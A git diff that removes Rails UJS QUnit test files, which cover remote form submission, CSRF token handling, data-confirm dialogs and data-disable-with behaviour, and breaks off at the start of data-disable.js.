-        // Firefox 8 returns "Forbidden " with trailing space
-        equal($.trim(error), 'Forbidden', 'third argument to ajax:error should be an HTTP status response')
-        // Opera returns "0" for HTTP code
-        equal(xhr.status, window.opera ? 0 : 403, 'status code should be 403')
-      })
-    })
-  })
-}
-
-// IF THIS TEST IS FAILING, TRY INCREASING THE TIMEOUT AT THE BOTTOM TO > 100
-asyncTest('binding to ajax callbacks via .delegate() triggers handlers properly', 4, function() {
-  $(document)
-    .delegate('form[data-remote]', 'ajax:beforeSend', function() {
-      ok(true, 'ajax:beforeSend handler is triggered')
-    })
-    .delegate('form[data-remote]', 'ajax:send', function() {
-      ok(true, 'ajax:send handler is triggered')
-    })
-    .delegate('form[data-remote]', 'ajax:complete', function() {
-      ok(true, 'ajax:complete handler is triggered')
-    })
-    .delegate('form[data-remote]', 'ajax:success', function() {
-      ok(true, 'ajax:success handler is triggered')
-    })
-  $('form[data-remote]').triggerNative('submit')
-
-  setTimeout(function() {
-    start()
-  }, 63)
-})
-
-asyncTest('binding to ajax:send event to call jquery methods on ajax object', 2, function() {
-  $('form[data-remote]')
-    .bindNative('ajax:send', function(e, xhr) {
-      ok(true, 'event should fire')
-      equal(typeof(xhr.abort), 'function', 'event should pass jqXHR object')
-      xhr.abort()
-    })
-    .triggerNative('submit')
-
-  setTimeout(function() { start() }, 35)
-})
-
-})()
diff --git a/actionview/test/ujs/public/test/call-remote.js b/actionview/test/ujs/public/test/call-remote.js
deleted file mode 100644
index dbeb8ad8329d9..0000000000000
--- a/actionview/test/ujs/public/test/call-remote.js
+++ /dev/null
@@ -1,247 +0,0 @@
-(function() {
-
-function buildForm(attrs) {
-  attrs = $.extend({ action: '/echo', 'data-remote': 'true' }, attrs)
-
-  $('#qunit-fixture').append($('<form />', attrs))
-    .find('form').append($('<input type="text" name="user_name" value="john">'))
-}
-
-module('call-remote')
-
-function submit(fn) {
-  $('form')
-    .bindNative('ajax:success', fn)
-    .bindNative('ajax:complete', function() { start() })
-    .triggerNative('submit')
-}
-
-asyncTest('form method is read from "method" and not from "data-method"', 1, function() {
-  buildForm({ method: 'post', 'data-method': 'get' })
-
-  submit(function(e, data, status, xhr) {
-    App.assertPostRequest(data)
-  })
-})
-
-asyncTest('form method is not read from "data-method" attribute in case of missing "method"', 1, function() {
-  buildForm({ 'data-method': 'put' })
-
-  submit(function(e, data, status, xhr) {
-    App.assertGetRequest(data)
-  })
-})
-
-asyncTest('form method is read from submit button "formmethod" if submit is triggered by that button', 1, function() {
-  var submitButton = $('<input type="submit" formmethod="get">')
-  buildForm({ method: 'post' })
-
-  $('#qunit-fixture').find('form').append(submitButton)
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      App.assertGetRequest(data)
-    })
-    .bindNative('ajax:complete', function() { start() })
-
-  submitButton.triggerNative('click')
-})
-
-asyncTest('form default method is GET', 1, function() {
-  buildForm()
-
-  submit(function(e, data, status, xhr) {
-    App.assertGetRequest(data)
-  })
-})
-
-asyncTest('form url is picked up from "action"', 1, function() {
-  buildForm({ method: 'post' })
-
-  submit(function(e, data, status, xhr) {
-    App.assertRequestPath(data, '/echo')
-  })
-})
-
-asyncTest('form url is read from "action" not "href"', 1, function() {
-  buildForm({ method: 'post', href: '/echo2' })
-
-  submit(function(e, data, status, xhr) {
-    App.assertRequestPath(data, '/echo')
-  })
-})
-
-asyncTest('form url is read from submit button "formaction" if submit is triggered by that button', 1, function() {
-  var submitButton = $('<input type="submit" formaction="/echo">')
-  buildForm({ method: 'post', href: '/echo2' })
-
-  $('#qunit-fixture').find('form').append(submitButton)
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      App.assertRequestPath(data, '/echo')
-    })
-    .bindNative('ajax:complete', function() { start() })
-
-  submitButton.triggerNative('click')
-})
-
-asyncTest('prefer JS, but accept any format', 1, function() {
-  buildForm({ method: 'post' })
-
-  submit(function(e, data, status, xhr) {
-    var accept = data.HTTP_ACCEPT
-    ok(accept.match(/text\/javascript.+\*\/\*/), 'Accept: ' + accept)
-  })
-})
-
-asyncTest('JS code should be executed', 1, function() {
-  buildForm({ method: 'post', 'data-type': 'script' })
-
-  $('form').append('<input type="text" name="content_type" value="text/javascript">')
-  $('form').append('<input type="text" name="content" value="ok(true, \'remote code should be run\')">')
-
-  submit()
-})
-
-asyncTest('XML document should be parsed', 1, function() {
-  buildForm({ method: 'post', 'data-type': 'html' })
-
-  $('form').append('<input type="text" name="content_type" value="application/xml">')
-  $('form').append('<input type="text" name="content" value="<p>hello</p>">')
-
-  submit(function(e, data, status, xhr) {
-    ok(data instanceof Document, 'returned data should be an XML document')
-  })
-})
-
-asyncTest('accept application/json if "data-type" is json', 1, function() {
-  buildForm({ method: 'post', 'data-type': 'json' })
-
-  submit(function(e, data, status, xhr) {
-    equal(data.HTTP_ACCEPT, 'application/json, text/javascript, */*; q=0.01')
-  })
-})
-
-asyncTest('allow empty "data-remote" attribute', 1, function() {
-  var form = $('#qunit-fixture').append($('<form action="/echo" data-remote />')).find('form')
-
-  submit(function() {
-    ok(true, 'form with empty "data-remote" attribute is also allowed')
-  })
-})
-
-asyncTest('query string in form action should be stripped in a GET request in normal submit', 1, function() {
-  buildForm({ action: '/echo?param1=abc', 'data-remote': 'false' })
-
-  $(document).one('iframe:loaded', function(e, data) {
-    equal(data.params.param1, undefined, '"param1" should not be passed to server')
-    start()
-  })
-
-  $('#qunit-fixture form').triggerNative('submit')
-})
-
-asyncTest('query string in form action should be stripped in a GET request in ajax submit', 1, function() {
-  buildForm({ action: '/echo?param1=abc' })
-
-  submit(function(e, data, status, xhr) {
-    equal(data.params.param1, undefined, '"param1" should not be passed to server')
-  })
-})
-
-asyncTest('query string in form action should not be stripped in a POST request in normal submit', 1, function() {
-  buildForm({ action: '/echo?param1=abc', method: 'post', 'data-remote': 'false' })
-
-  $(document).one('iframe:loaded', function(e, data) {
-    equal(data.params.param1, 'abc', '"param1" should be passed to server')
-    start()
-  })
-
-  $('#qunit-fixture form').triggerNative('submit')
-})
-
-asyncTest('query string in form action should not be stripped in a POST request in ajax submit', 1, function() {
-  buildForm({ action: '/echo?param1=abc', method: 'post' })
-
-  submit(function(e, data, status, xhr) {
-    equal(data.params.param1, 'abc', '"param1" should be passed to server')
-  })
-})
-
-asyncTest('allow empty form "action"', 1, function() {
-  var currentLocation, ajaxLocation
-
-  buildForm({ action: '' })
-
-  $('#qunit-fixture').find('form')
-    .bindNative('ajax:beforeSend', function(e, xhr, settings) {
-      // Get current location (the same way jQuery does)
-      try {
-        currentLocation = location.href
-      } catch(err) {
-        currentLocation = document.createElement( 'a' )
-        currentLocation.href = ''
-        currentLocation = currentLocation.href
-      }
-      currentLocation = currentLocation.replace(/\?.*$/, '')
-
-      // Actual location (strip out settings.data that jQuery serializes and appends)
-      // HACK: can no longer use settings.data below to see what was appended to URL, as of
-      // jQuery 1.6.3 (see http://bugs.jquery.com/ticket/10202 and https://github.com/jquery/jquery/pull/544)
-      ajaxLocation = settings.url.replace('user_name=john', '').replace(/&$/, '').replace(/\?$/, '')
-      equal(ajaxLocation.match(/^(.*)/)[1], currentLocation, 'URL should be current page by default')
-
-      // Prevent the request from actually getting sent to the current page and
-      // causing an error.
-      return false
-    })
-    .triggerNative('submit')
-
-  setTimeout(function() { start() }, 13)
-})
-
-asyncTest('sends CSRF token in custom header', 1, function() {
-  buildForm({ method: 'post' })
-  $('#qunit-fixture').append('<meta name="csrf-token" content="cf50faa3fe97702ca1ae" />')
-
-  submit(function(e, data, status, xhr) {
-    equal(data.HTTP_X_CSRF_TOKEN, 'cf50faa3fe97702ca1ae', 'X-CSRF-Token header should be sent')
-  })
-})
-
-asyncTest('intelligently guesses crossDomain behavior when target URL has a different protocol and/or hostname', 1, function() {
-
-  // Don't set data-cross-domain here, just set action to be a different domain than localhost
-  buildForm({ action: 'http://www.alfajango.com' })
-  $('#qunit-fixture').append('<meta name="csrf-token" content="cf50faa3fe97702ca1ae" />')
-
-  $('#qunit-fixture').find('form')
-    .bindNative('ajax:beforeSend', function(evt, req, settings) {
-
-      equal(settings.crossDomain, true, 'crossDomain should be set to true')
-
-      // prevent request from actually getting sent off-domain
-      return false
-    })
-    .triggerNative('submit')
-
-  setTimeout(function() { start() }, 13)
-})
-
-asyncTest('intelligently guesses crossDomain behavior when target URL consists of only a path', 1, function() {
-
-  // Don't set data-cross-domain here, just set action to be a different domain than localhost
-  buildForm({ action: '/just/a/path' })
-  $('#qunit-fixture').append('<meta name="csrf-token" content="cf50faa3fe97702ca1ae" />')
-
-  $('#qunit-fixture').find('form')
-    .bindNative('ajax:beforeSend', function(evt, req, settings) {
-
-      equal(settings.crossDomain, false, 'crossDomain should be set to false')
-
-      // prevent request from actually getting sent off-domain
-      return false
-    })
-    .triggerNative('submit')
-
-  setTimeout(function() { start() }, 13)
-})
-
-})()
diff --git a/actionview/test/ujs/public/test/csrf-refresh.js b/actionview/test/ujs/public/test/csrf-refresh.js
deleted file mode 100644
index e302042542f7d..0000000000000
--- a/actionview/test/ujs/public/test/csrf-refresh.js
+++ /dev/null
@@ -1,24 +0,0 @@
-(function() {
-
-module('csrf-refresh', {})
-
-asyncTest('refresh all csrf tokens', 1, function() {
-  var correctToken = 'cf50faa3fe97702ca1ae'
-
-  var form = $('<form />')
-  var input = $('<input>').attr({ type: 'hidden', name: 'authenticity_token', id: 'authenticity_token', value: 'foo' })
-  input.appendTo(form)
-
-  $('#qunit-fixture')
-    .append('<meta name="csrf-param" content="authenticity_token"/>')
-    .append('<meta name="csrf-token" content="' + correctToken + '"/>')
-    .append(form)
-
-  $.rails.refreshCSRFTokens()
-  currentToken = $('#qunit-fixture #authenticity_token').val()
-
-  start()
-  equal(currentToken, correctToken)
-})
-
-})()
diff --git a/actionview/test/ujs/public/test/csrf-token.js b/actionview/test/ujs/public/test/csrf-token.js
deleted file mode 100644
index 388b40e057d65..0000000000000
--- a/actionview/test/ujs/public/test/csrf-token.js
+++ /dev/null
@@ -1,27 +0,0 @@
-(function() {
-
-module('csrf-token', {})
-
-asyncTest('find csrf token', 1, function() {
-  var correctToken = 'cf50faa3fe97702ca1ae'
-
-  $('#qunit-fixture').append('<meta name="csrf-token" content="' + correctToken + '"/>')
-
-  currentToken = $.rails.csrfToken()
-
-  start()
-  equal(currentToken, correctToken)
-})
-
-asyncTest('find csrf param', 1, function() {
-  var correctParam = 'authenticity_token'
-
-  $('#qunit-fixture').append('<meta name="csrf-param" content="' + correctParam + '"/>')
-
-  currentParam = $.rails.csrfParam()
-
-  start()
-  equal(currentParam, correctParam)
-})
-
-})()
diff --git a/actionview/test/ujs/public/test/data-confirm.js b/actionview/test/ujs/public/test/data-confirm.js
deleted file mode 100644
index 28190c2250b58..0000000000000
--- a/actionview/test/ujs/public/test/data-confirm.js
+++ /dev/null
@@ -1,288 +0,0 @@
-module('data-confirm', {
-  setup: function() {
-    $('#qunit-fixture').append($('<a />', {
-      href: '/echo',
-      'data-remote': 'true',
-      'data-confirm': 'Are you absolutely sure?',
-      text: 'my social security number'
-    }))
-
-    $('#qunit-fixture').append($('<button />', {
-      'data-url': '/echo',
-      'data-remote': 'true',
-      'data-confirm': 'Are you absolutely sure?',
-      text: 'Click me'
-    }))
-
-    $('#qunit-fixture').append($('<form />', {
-      id: 'confirm',
-      action: '/echo',
-      'data-remote': 'true'
-    }))
-
-    $('#qunit-fixture').append($('<input />', {
-      type: 'submit',
-      form: 'confirm',
-      'data-confirm': 'Are you absolutely sure?'
-    }))
-
-    this.windowConfirm = window.confirm
-  },
-  teardown: function() {
-    window.confirm = this.windowConfirm
-  }
-})
-
-asyncTest('clicking on a link with data-confirm attribute. Confirm yes.', 6, function() {
-  var message
-  // auto-confirm:
-  window.confirm = function(msg) { message = msg; return true }
-
-  $('a[data-confirm]')
-    .bindNative('confirm:complete', function(e, data) {
-      App.assertCallbackInvoked('confirm:complete')
-      ok(data == true, 'confirm:complete passes in confirm answer (true)')
-    })
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      App.assertCallbackInvoked('ajax:success')
-      App.assertRequestPath(data, '/echo')
-      App.assertGetRequest(data)
-
-      equal(message, 'Are you absolutely sure?')
-      start()
-    })
-    .triggerNative('click')
-})
-
-asyncTest('clicking on a button with data-confirm attribute. Confirm yes.', 6, function() {
-  var message
-  // auto-confirm:
-  window.confirm = function(msg) { message = msg; return true }
-
-  $('button[data-confirm]')
-    .bindNative('confirm:complete', function(e, data) {
-      App.assertCallbackInvoked('confirm:complete')
-      ok(data == true, 'confirm:complete passes in confirm answer (true)')
-    })
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      App.assertCallbackInvoked('ajax:success')
-      App.assertRequestPath(data, '/echo')
-      App.assertGetRequest(data)
-
-      equal(message, 'Are you absolutely sure?')
-      start()
-    })
-    .triggerNative('click')
-})
-
-asyncTest('clicking on a link with data-confirm attribute. Confirm No.', 3, function() {
-  var message
-  // auto-decline:
-  window.confirm = function(msg) { message = msg; return false }
-
-  $('a[data-confirm]')
-    .bindNative('confirm:complete', function(e, data) {
-      App.assertCallbackInvoked('confirm:complete')
-      ok(data == false, 'confirm:complete passes in confirm answer (false)')
-    })
-    .bindNative('ajax:beforeSend', function(e, data, status, xhr) {
-      App.assertCallbackNotInvoked('ajax:beforeSend')
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    equal(message, 'Are you absolutely sure?')
-    start()
-  }, 50)
-})
-
-asyncTest('clicking on a button with data-confirm attribute. Confirm No.', 3, function() {
-  var message
-  // auto-decline:
-  window.confirm = function(msg) { message = msg; return false }
-
-  $('button[data-confirm]')
-    .bindNative('confirm:complete', function(e, data) {
-      App.assertCallbackInvoked('confirm:complete')
-      ok(data == false, 'confirm:complete passes in confirm answer (false)')
-    })
-    .bindNative('ajax:beforeSend', function(e, data, status, xhr) {
-      App.assertCallbackNotInvoked('ajax:beforeSend')
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    equal(message, 'Are you absolutely sure?')
-    start()
-  }, 50)
-})
-
-asyncTest('clicking on a button with data-confirm attribute. Confirm error.', 3, function() {
-  var message
-  // auto-decline:
-  window.confirm = function(msg) { message = msg; throw 'some random error' }
-
-  $('button[data-confirm]')
-    .bindNative('confirm:complete', function(e, data) {
-      App.assertCallbackInvoked('confirm:complete')
-      ok(data == false, 'confirm:complete passes in confirm answer (false)')
-    })
-    .bindNative('ajax:beforeSend', function(e, data, status, xhr) {
-      App.assertCallbackNotInvoked('ajax:beforeSend')
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    equal(message, 'Are you absolutely sure?')
-    start()
-  }, 50)
-})
-
-asyncTest('clicking on a submit button with form and data-confirm attributes. Confirm No.', 3, function() {
-  var message
-  // auto-decline:
-  window.confirm = function(msg) { message = msg; return false }
-
-  $('input[type=submit][form]')
-    .bindNative('confirm:complete', function(e, data) {
-      App.assertCallbackInvoked('confirm:complete')
-      ok(data == false, 'confirm:complete passes in confirm answer (false)')
-    })
-    .bindNative('ajax:beforeSend', function(e, data, status, xhr) {
-      App.assertCallbackNotInvoked('ajax:beforeSend')
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    equal(message, 'Are you absolutely sure?')
-    start()
-  }, 50)
-})
-
-asyncTest('binding to confirm event of a link and returning false', 1, function() {
-  // redefine confirm function so we can make sure it's not called
-  window.confirm = function(msg) {
-    ok(false, 'confirm dialog should not be called')
-  }
-
-  $('a[data-confirm]')
-    .bindNative('confirm', function() {
-      App.assertCallbackInvoked('confirm')
-      return false
-    })
-    .bindNative('confirm:complete', function() {
-      App.assertCallbackNotInvoked('confirm:complete')
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    start()
-  }, 50)
-})
-
-asyncTest('binding to confirm event of a button and returning false', 1, function() {
-  // redefine confirm function so we can make sure it's not called
-  window.confirm = function(msg) {
-    ok(false, 'confirm dialog should not be called')
-  }
-
-  $('button[data-confirm]')
-    .bindNative('confirm', function() {
-      App.assertCallbackInvoked('confirm')
-      return false
-    })
-    .bindNative('confirm:complete', function() {
-      App.assertCallbackNotInvoked('confirm:complete')
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    start()
-  }, 50)
-})
-
-asyncTest('binding to confirm:complete event of a link and returning false', 2, function() {
-  // auto-confirm:
-  window.confirm = function(msg) {
-    ok(true, 'confirm dialog should be called')
-    return true
-  }
-
-  $('a[data-confirm]')
-    .bindNative('confirm:complete', function() {
-      App.assertCallbackInvoked('confirm:complete')
-      return false
-    })
-    .bindNative('ajax:beforeSend', function() {
-      App.assertCallbackNotInvoked('ajax:beforeSend')
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    start()
-  }, 50)
-})
-
-asyncTest('binding to confirm:complete event of a button and returning false', 2, function() {
-  // auto-confirm:
-  window.confirm = function(msg) {
-    ok(true, 'confirm dialog should be called')
-    return true
-  }
-
-  $('button[data-confirm]')
-    .bindNative('confirm:complete', function() {
-      App.assertCallbackInvoked('confirm:complete')
-      return false
-    })
-    .bindNative('ajax:beforeSend', function() {
-      App.assertCallbackNotInvoked('ajax:beforeSend')
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    start()
-  }, 50)
-})
-
-asyncTest('a button inside a form only confirms once', 1, function() {
-  var confirmations = 0
-  window.confirm = function(msg) {
-    confirmations++
-    return true
-  }
-
-  $('#qunit-fixture').append($('<form />').append($('<button />', {
-    'data-remote': 'true',
-    'data-confirm': 'Are you absolutely sure?',
-    text: 'Click me'
-  })))
-
-  $('form > button[data-confirm]').triggerNative('click')
-
-  ok(confirmations === 1, 'confirmation counter should be 1, but it was ' + confirmations)
-  start()
-})
-
-asyncTest('clicking on the children of a link should also trigger a confirm', 6, function() {
-  var message
-  // auto-confirm:
-  window.confirm = function(msg) { message = msg; return true }
-
-  $('a[data-confirm]')
-    .html('<strong>Click me</strong>')
-    .bindNative('confirm:complete', function(e, data) {
-      App.assertCallbackInvoked('confirm:complete')
-      ok(data == true, 'confirm:complete passes in confirm answer (true)')
-    })
-    .bindNative('ajax:success', function(e, data, status, xhr) {
-      App.assertCallbackInvoked('ajax:success')
-      App.assertRequestPath(data, '/echo')
-      App.assertGetRequest(data)
-
-      equal(message, 'Are you absolutely sure?')
-      start()
-    })
-    .find('strong')
-    .triggerNative('click')
-})
diff --git a/actionview/test/ujs/public/test/data-disable-with.js b/actionview/test/ujs/public/test/data-disable-with.js
deleted file mode 100644
index b29cbbc867878..0000000000000
--- a/actionview/test/ujs/public/test/data-disable-with.js
+++ /dev/null
@@ -1,391 +0,0 @@
-module('data-disable-with', {
-  setup: function() {
-    $('#qunit-fixture').append($('<form />', {
-      action: '/echo',
-      'data-remote': 'true',
-      method: 'post'
-    }))
-      .find('form')
-      .append($('<input type="text" data-disable-with="processing ..." name="user_name" value="john" />'))
-
-    $('#qunit-fixture').append($('<form />', {
-      action: '/echo',
-      method: 'post',
-      id: 'not_remote'
-    }))
-      .find('form:last')
-      // WEEIRDD: the form won't submit to an iframe if the button is name="submit" (??!)
-      .append($('<input type="submit" data-disable-with="submitting ..." name="submit2" value="Submit" />'))
-
-    $('#qunit-fixture').append($('<a />', {
-      text: 'Click me',
-      href: '/echo',
-      'data-disable-with': 'clicking...'
-    }))
-
-    $('#qunit-fixture').append($('<input />', {
-      type: 'submit',
-      form: 'not_remote',
-      'data-disable-with': 'form attr submitting',
-      name: 'submit3',
-      value: 'Form Attr Submit'
-    }))
-
-    $('#qunit-fixture').append($('<button />', {
-      text: 'Click me',
-      'data-remote': true,
-      'data-url': '/echo',
-      'data-disable-with': 'clicking...'
-    }))
-  },
-  teardown: function() {
-    $(document).unbind('iframe:loaded')
-  }
-})
-
-asyncTest('form input field with "data-disable-with" attribute', 7, function() {
-  var form = $('form[data-remote]'), input = form.find('input[type=text]')
-
-  App.checkEnabledState(input, 'john')
-
-  form.bindNative('ajax:success', function(e, data) {
-    setTimeout(function() {
-      App.checkEnabledState(input, 'john')
-      equal(data.params.user_name, 'john')
-      start()
-    }, 13)
-  })
-  form.triggerNative('submit')
-
-  App.checkDisabledState(input, 'processing ...')
-})
-
-asyncTest('blank form input field with "data-disable-with" attribute', 7, function() {
-  var form = $('form[data-remote]'), input = form.find('input[type=text]')
-
-  input.val('')
-  App.checkEnabledState(input, '')
-
-  form.bindNative('ajax:success', function(e, data) {
-    setTimeout(function() {
-      App.checkEnabledState(input, '')
-      equal(data.params.user_name, '')
-      start()
-    }, 13)
-  })
-  form.triggerNative('submit')
-
-  App.checkDisabledState(input, 'processing ...')
-})
-
-asyncTest('form button with "data-disable-with" attribute', 6, function() {
-  var form = $('form[data-remote]'), button = $('<button data-disable-with="submitting ..." name="submit2">Submit</button>')
-  form.append(button)
-
-  App.checkEnabledState(button, 'Submit')
-
-  form.bindNative('ajax:success', function(e, data) {
-    setTimeout(function() {
-      App.checkEnabledState(button, 'Submit')
-      start()
-    }, 13)
-  })
-  form.triggerNative('submit')
-
-  App.checkDisabledState(button, 'submitting ...')
-})
-
-asyncTest('form input[type=submit][data-disable-with] disables', 6, function() {
-  var form = $('form:not([data-remote])'), input = form.find('input[type=submit]')
-
-  App.checkEnabledState(input, 'Submit')
-
-  $(document).bind('iframe:loaded', function(e, data) {
-    setTimeout(function() {
-      App.checkDisabledState(input, 'submitting ...')
-      start()
-    }, 30)
-  })
-  form.triggerNative('submit')
-
-  setTimeout(function() {
-    App.checkDisabledState(input, 'submitting ...')
-  }, 30)
-})
-
-test('form input[type=submit][data-disable-with] re-enables when `pageshow` event is triggered', function() {
-  var form = $('form:not([data-remote])'), input = form.find('input[type=submit]')
-
-  App.checkEnabledState(input, 'Submit')
-
-  // Emulate the disabled state without submitting the form at all, what is the
-  // state after going back on firefox after submitting a form.
-  //
-  // See https://github.com/rails/jquery-ujs/issues/357
-  $.rails.disableElement(form[0])
-
-  App.checkDisabledState(input, 'submitting ...')
-
-  $(window).triggerNative('pageshow')
-
-  App.checkEnabledState(input, 'Submit')
-})
-
-asyncTest('form[data-remote] input[type=submit][data-disable-with] is replaced in ajax callback', 2, function() {
-  var form = $('form:not([data-remote])').attr('data-remote', 'true'), origFormContents = form.html()
-
-  form.bindNative('ajax:success', function() {
-    form.html(origFormContents)
-
-    setTimeout(function() {
-      var input = form.find('input[type=submit]')
-      App.checkEnabledState(input, 'Submit')
-      start()
-    }, 30)
-  }).triggerNative('submit')
-})
-
-asyncTest('form[data-remote] input[data-disable-with] is replaced with disabled field in ajax callback', 2, function() {
-  var form = $('form:not([data-remote])').attr('data-remote', 'true'), input = form.find('input[type=submit]'),
-      newDisabledInput = input.clone().attr('disabled', 'disabled')
-
-  form.bindNative('ajax:success', function() {
-    input.replaceWith(newDisabledInput)
-
-    setTimeout(function() {
-      App.checkEnabledState(newDisabledInput, 'Submit')
-      start()
-    }, 30)
-  }).triggerNative('submit')
-})
-
-asyncTest('form input[type=submit][data-disable-with] using "form" attribute disables', 6, function() {
-  var form = $('#not_remote'), input = $('input[form=not_remote]')
-  App.checkEnabledState(input, 'Form Attr Submit')
-
-  $(document).bind('iframe:loaded', function(e, data) {
-    setTimeout(function() {
-      App.checkDisabledState(input, 'form attr submitting')
-      start()
-    }, 30)
-  })
-  form.triggerNative('submit')
-
-  setTimeout(function() {
-    App.checkDisabledState(input, 'form attr submitting')
-  }, 30)
-
-})
-
-asyncTest('form[data-remote] textarea[data-disable-with] attribute', 3, function() {
-  var form = $('form[data-remote]'),
-      textarea = $('<textarea data-disable-with="processing ..." name="user_bio">born, lived, died.</textarea>').appendTo(form)
-
-  form.bindNative('ajax:success', function(e, data) {
-    setTimeout(function() {
-      equal(data.params.user_bio, 'born, lived, died.')
-      start()
-    }, 13)
-  })
-  form.triggerNative('submit')
-
-  App.checkDisabledState(textarea, 'processing ...')
-})
-
-asyncTest('a[data-disable-with] disables', 4, function() {
-  var link = $('a[data-disable-with]')
-
-  App.checkEnabledState(link, 'Click me')
-
-  link.triggerNative('click')
-  App.checkDisabledState(link, 'clicking...')
-  start()
-})
-
-test('a[data-disable-with] re-enables when `pageshow` event is triggered', function() {
-  var link = $('a[data-disable-with]')
-
-  App.checkEnabledState(link, 'Click me')
-
-  link.triggerNative('click')
-  App.checkDisabledState(link, 'clicking...')
-
-  $(window).triggerNative('pageshow')
-  App.checkEnabledState(link, 'Click me')
-})
-
-asyncTest('a[data-remote][data-disable-with] disables and re-enables', 6, function() {
-  var link = $('a[data-disable-with]').attr('data-remote', true)
-
-  App.checkEnabledState(link, 'Click me')
-
-  link
-    .bindNative('ajax:beforeSend', function() {
-      App.checkDisabledState(link, 'clicking...')
-    })
-    .bindNative('ajax:complete', function() {
-      setTimeout( function() {
-        App.checkEnabledState(link, 'Click me')
-        start()
-      }, 15)
-    })
-    .triggerNative('click')
-})
-
-asyncTest('a[data-remote][data-disable-with] re-enables when `ajax:before` event is cancelled', 6, function() {
-  var link = $('a[data-disable-with]').attr('data-remote', true)
-
-  App.checkEnabledState(link, 'Click me')
-
-  link
-    .bindNative('ajax:before', function() {
-      App.checkDisabledState(link, 'clicking...')
-      return false
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    App.checkEnabledState(link, 'Click me')
-    start()
-  }, 30)
-})
-
-asyncTest('a[data-remote][data-disable-with] re-enables when `ajax:beforeSend` event is cancelled', 6, function() {
-  var link = $('a[data-disable-with]').attr('data-remote', true)
-
-  App.checkEnabledState(link, 'Click me')
-
-  link
-    .bindNative('ajax:beforeSend', function() {
-      App.checkDisabledState(link, 'clicking...')
-      return false
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    App.checkEnabledState(link, 'Click me')
-    start()
-  }, 30)
-})
-
-asyncTest('a[data-remote][data-disable-with] re-enables when `ajax:error` event is triggered', 6, function() {
-  var link = $('a[data-disable-with]').attr('data-remote', true).attr('href', '/error')
-
-  App.checkEnabledState(link, 'Click me')
-
-  link
-    .bindNative('ajax:beforeSend', function() {
-      App.checkDisabledState(link, 'clicking...')
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    App.checkEnabledState(link, 'Click me')
-    start()
-  }, 30)
-})
-
-asyncTest('form[data-remote] input|button|textarea[data-disable-with] does not disable when `ajax:beforeSend` event is cancelled', 8, function() {
-  var form = $('form[data-remote]'),
-      input = form.find('input:text'),
-      button = $('<button data-disable-with="submitting ..." name="submit2">Submit</button>').appendTo(form),
-      textarea = $('<textarea data-disable-with="processing ..." name="user_bio">born, lived, died.</textarea>').appendTo(form),
-      submit = $('<input type="submit" data-disable-with="submitting ..." name="submit2" value="Submit" />').appendTo(form)
-
-  form
-    .bindNative('ajax:beforeSend', function() {
-      return false
-    })
-    .triggerNative('submit')
-
-  App.checkEnabledState(input, 'john')
-  App.checkEnabledState(button, 'Submit')
-  App.checkEnabledState(textarea, 'born, lived, died.')
-  App.checkEnabledState(submit, 'Submit')
-
-  start()
-})
-
-asyncTest('ctrl-clicking on a link does not disables the link', 6, function() {
-  var link = $('a[data-disable-with]')
-
-  App.checkEnabledState(link, 'Click me')
-
-  link.triggerNative('click', { metaKey: true })
-  App.checkEnabledState(link, 'Click me')
-
-  link.triggerNative('click', { metaKey: true })
-  App.checkEnabledState(link, 'Click me')
-  start()
-})
-
-asyncTest('button[data-remote][data-disable-with] disables and re-enables', 6, function() {
-  var button = $('button[data-remote][data-disable-with]')
-
-  App.checkEnabledState(button, 'Click me')
-
-  button
-    .bindNative('ajax:send', function() {
-      App.checkDisabledState(button, 'clicking...')
-    })
-    .bindNative('ajax:complete', function() {
-      setTimeout( function() {
-        App.checkEnabledState(button, 'Click me')
-        start()
-      }, 15)
-    })
-    .triggerNative('click')
-})
-
-asyncTest('button[data-remote][data-disable-with] re-enables when `ajax:before` event is cancelled', 6, function() {
-  var button = $('button[data-remote][data-disable-with]')
-
-  App.checkEnabledState(button, 'Click me')
-
-  button
-    .bindNative('ajax:before', function() {
-      App.checkDisabledState(button, 'clicking...')
-      return false
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    App.checkEnabledState(button, 'Click me')
-    start()
-  }, 30)
-})
-
-asyncTest('button[data-remote][data-disable-with] re-enables when `ajax:beforeSend` event is cancelled', 6, function() {
-  var button = $('button[data-remote][data-disable-with]')
-
-  App.checkEnabledState(button, 'Click me')
-
-  button
-    .bindNative('ajax:beforeSend', function() {
-      App.checkDisabledState(button, 'clicking...')
-      return false
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    App.checkEnabledState(button, 'Click me')
-    start()
-  }, 30)
-})
-
-asyncTest('button[data-remote][data-disable-with] re-enables when `ajax:error` event is triggered', 6, function() {
-  var button = $('a[data-disable-with]').attr('data-remote', true).attr('href', '/error')
-
-  App.checkEnabledState(button, 'Click me')
-
-  button
-    .bindNative('ajax:send', function() {
-      App.checkDisabledState(button, 'clicking...')
-    })
-    .triggerNative('click')
-
-  setTimeout(function() {
-    App.checkEnabledState(button, 'Click me')
-    start()
-  }, 30)
-})
diff --git a/actionview/test/ujs/public/test/data-disable.js b/actionview/test/ujs/public/test/data-disable.js
deleted file mode 100644
index ccc38cf9aeb6a..0000000000000
--- a/actionview/test/ujs/public/test/data-disable.js
+++ /dev/null
@@ -1,321 +0,0 @@
-module('data-disable', {
-  setup: function() {
-    $('#qunit-fixture').append($('<form />', {
-      action: '/echo',
-      'data-remote': 'true',
-      method: 'post'
-    }))
-      .find('form')
-      .append($('<input type="text" data-disable name="user_name" value="john" />'))
-
-    $('#qunit-fixture').append($('<form />', {
-      action: '/echo',
-      method: 'post'
-    }))
-      .find('form:last')
-      // WEEIRDD: the form won't submit to an iframe if the button is name="submit" (??!)
-      .append($('<input type="submit" data-disable name="submit2" value="Submit" />'))
-
-    $('#qunit-fixture').append($('<a />', {
-      text: 'Click me',
-      href: '/echo',
